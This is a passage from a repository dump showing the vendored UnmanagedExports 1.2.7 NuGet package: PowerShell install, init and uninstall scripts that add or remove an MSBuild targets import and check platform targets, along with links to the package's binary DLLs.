'x64')) { 71 | $projectName = [IO.Path]::GetFileNameWithoutExtension($fullName); 72 | if(!$platformTarget) { 73 | $platformTarget = "has no platform target"; 74 | } else { 75 | $platformTarget = "has a platform target of '$platformTarget'"; 76 | } 77 | Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions." 78 | Write-Host "" 79 | } 80 | } 81 | 82 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 83 | $projects = Get-AllDllExportMsBuildProjects; 84 | 85 | [String] $asString = $value; 86 | 87 | if($projectName) { 88 | $projects = $projects | where { $_.Name -ieq $projectName }; 89 | } 90 | $propertyName = 'NoDllExportsForAnyCpu'; 91 | 92 | $projects = $projects | where { 93 | $_.GetPropertyValue($propertyName) -ine $asString 94 | } | % { 95 | $_.SetProperty($propertyName, $asString); 96 | } 97 | } 98 | 99 | Export-ModuleMember Set-NoDllExportsForAnyCpu 100 | 101 | Export-ModuleMember Remove-OldDllExportFolder 102 | Export-ModuleMember Remove-OldDllExportFolders 103 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 104 | Export-ModuleMember Get-AllDllExportMsBuildProjects 105 | Export-ModuleMember Assert-PlatformTargetOfProject -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | $(PostBuildEventDependsOn); 7 | RGieseckeDllExport 8 | 9 | 10 | 11 | 12 | 13 | $(BuildDependsOn); 14 | RGieseckeDllExport 15 | 16 | 17 | 18 | 20 | 21 | 23 | 24 | 34 | 35 | 36 | 37 | RGiesecke.DllExport.DllExportAttribute 38 | RGiesecke.DllExport.Metadata 39 | 40 | $(Platform) 41 | $(PlatformTarget) 42 | $(CpuType) 43 | $(DebugSymbols) 44 | false 45 | $(DllExportTimeout) 46 | $(KeyContainerName)$(AssemblyKeyContainerName) 47 | $(KeyOriginatorFile) 48 | $(MSBuildProjectDirectory) 49 | $(TargetPath) 50 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 51 | $(DevEnvDir)\..\..\VC\bin 52 | $(DevEnvDir) 53 | $(TargetFrameworkVersion) 54 | $(TargetFrameworkSDKToolsDirectory) 55 | $(NoDllExportsForAnyCpu) 56 | 57 | 58 | 74 | 75 | -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 4 | 5 | if($project) { 6 | Assert-PlatformTargetOfProject $project.FullName 7 | } 8 | else { 9 | Get-AllDllExportMsBuildProjects | % { 10 | Assert-PlatformTargetOfProject $_.FullPath 11 | } 12 | } -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 6 | 7 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 8 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 9 | 10 | if(!$msBuildV4) { 11 | throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); 12 | } 13 | 14 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 15 | 16 | # change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally 17 | 18 | $project.Object.References | ? { 19 | $_.Name -ieq "RGiesecke.DllExport.Metadata" 20 | } | % { 21 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 22 | $_.CopyLocal = $false 23 | } 24 | } 25 | 26 | $projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) 27 | $projects | % { 28 | $currentProject = $_ 29 | 30 | # remove imports of RGiesecke.DllExport.targets from this project 31 | $currentProject.Xml.Imports | ? { 32 | return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) 33 | } | % { 34 | $currentProject.Xml.RemoveChild($_); 35 | } 36 | 37 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 38 | $currentProject.Xml.Properties | ? { 39 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 40 | } | % { 41 | $_.Parent.RemoveChild($_) 42 | } 43 | 44 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 45 | $relativeUrl = $projectUri.MakeRelative($targetUri) 46 | $import = $currentProject.Xml.AddImport($relativeUrl) 47 | $import.Condition = "Exists('$relativeUrl')"; 48 | 49 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 50 | Remove-OldDllExportFolder $project 51 | Assert-PlatformTargetOfProject $project.FullName 52 | } -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) 6 | 7 | $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) 8 | 9 | return $projects | % { 10 | $currentProject = $_ 11 | 12 | $currentProject.Xml.Imports | ? { 13 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) 14 | } | % { 15 | $currentProject.Xml.RemoveChild($_) 16 | } 17 | } --------------------------------------------------------------------------------